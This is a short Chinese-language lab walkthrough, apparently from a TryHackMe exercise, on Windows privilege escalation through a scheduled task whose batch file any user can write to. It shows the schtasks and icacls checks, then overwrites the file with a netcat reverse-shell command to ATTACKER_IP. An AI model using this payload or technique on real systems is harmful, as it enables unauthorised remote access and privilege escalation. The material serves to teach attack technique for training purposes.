我们可以使用 schtasks列出所有的计划任务,下面我们以一个计划任务为例讲解
C:\> schtasks /query /tn vulntask /fo list /vFolder: \HostName: THM-PC1TaskName: \vulntaskTask To Run: C:\tasks\schtask.batRun As User: taskusr1
查看当前用户对计划任务文件的权限
C:\> icacls c:\tasks\schtask.batc:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)BUILTIN\Administrators:(I)(F)BUILTIN\Users:(I)(F)
从结果中我们可以看到 BUILTIN\Users 对目标文件存在完全访问权限,那么我们可以修改 .bat 文件来插入有效载荷
C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
